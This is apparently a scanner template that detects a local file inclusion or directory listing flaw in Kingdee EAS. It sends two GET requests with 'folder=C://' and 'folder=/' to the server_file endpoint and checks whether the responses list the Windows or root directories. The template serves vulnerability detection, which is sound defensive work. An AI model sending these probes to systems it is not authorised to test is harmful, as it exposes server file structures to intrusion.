kingdee-eas-directory-traversal: Kingdee EAS - Local File Inclusion

id: kingdee-eas-directory-traversal

info:
  name: Kingdee EAS - Local File Inclusion
  author: ritikchaddha
  severity: high
  verified: true
  description: |
    Kingdee EAS OA server_file is vulnerable to local file inclusion and can allow attackers to obtain sensitive server information.
    app="Kingdee-EAS"
  reference:
    - https://github.com/nu0l/poc-wiki/blob/main/%E9%87%91%E8%9D%B6OA%20server_file%20%E7%9B%AE%E5%BD%95%E9%81%8D%E5%8E%86%E6%BC%8F%E6%B4%9E.md

rules:
  r0:
    request:
      method: GET
      path: /appmonitor/protected/selector/server_file/files?folder=C://&suffix=
    expression: response.status == 200 && (response.body.bcontains(b'{"name":"Windows","path":"C:\\\\Windows","folder":true}') || response.body.bcontains(b'{"name":"root","path":"/root","folder":true}'))
  r1:
    request:
      method: GET
      path: /appmonitor/protected/selector/server_file/files?folder=/&suffix=
    expression: response.status == 200 && (response.body.bcontains(b'{"name":"Windows","path":"C:\\\\Windows","folder":true}') || response.body.bcontains(b'{"name":"root","path":"/root","folder":true}'))
expression: r0() || r1()